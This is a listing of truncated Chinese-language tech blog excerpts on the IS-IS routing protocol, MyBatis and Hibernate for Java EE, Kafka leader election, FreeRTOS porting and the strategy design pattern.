一、IS-IS的概念 IS-IS(Intermediate System to Intermediate System,中间系统到中间系统)是一种链路状态路由协议,最初设计用于OSI(Open Systems Interconnection)参考模型的网络层(CL…...
Java EE期末总结(第四章)
目录 一、ORM框架 二、MyBatis与Hibernate 1、 概念与设计理念 2、SQL 控制 3、学习成本 4、开发效率 三、MyBatisAPI 1、SqlSessionFactoryBuilder 2、SqlSessionFactory 3、SqlSession 四、MyBatis配置 1、核心依赖与日志依赖 2、建立.XML映射文件 3、建立映射…...
Kafka 的选举机制
Kafka 的选举机制在 Zookeeper 模式 和 KRaft 模式 下有所不同,主要体现在 领导选举 和 集群元数据管理 的方式上。下面详细介绍这两种模式下 Kafka 如何进行选举机制。 1. Zookeeper 模式下的选举机制 在早期的 Kafka 架构中,集群的元数据管理和选举机…...
FreeRTOS移植笔记:让操作系统在你的硬件上跑起来
一、为什么需要移植? FreeRTOS就像一套"操作系统积木",但不同硬件平台(如STM32、ESP32、AVR等)的CPU架构和外设差异大,需要针对目标硬件做适配配置。移植工作就是让FreeRTOS能正确管理你的硬件资源。 二、…...
设计模式简述(十二)策略模式
策略模式 描述基本使用使用传统策略模式的缺陷以及规避方法 枚举策略描述基本使用使用 描述 定义一组策略,并将其封装起来到一个策略上下文中。 由调用者决定应该使用哪种策略,并且可以动态替换 基本使用 定义策略接口 public interface IStrategy {…...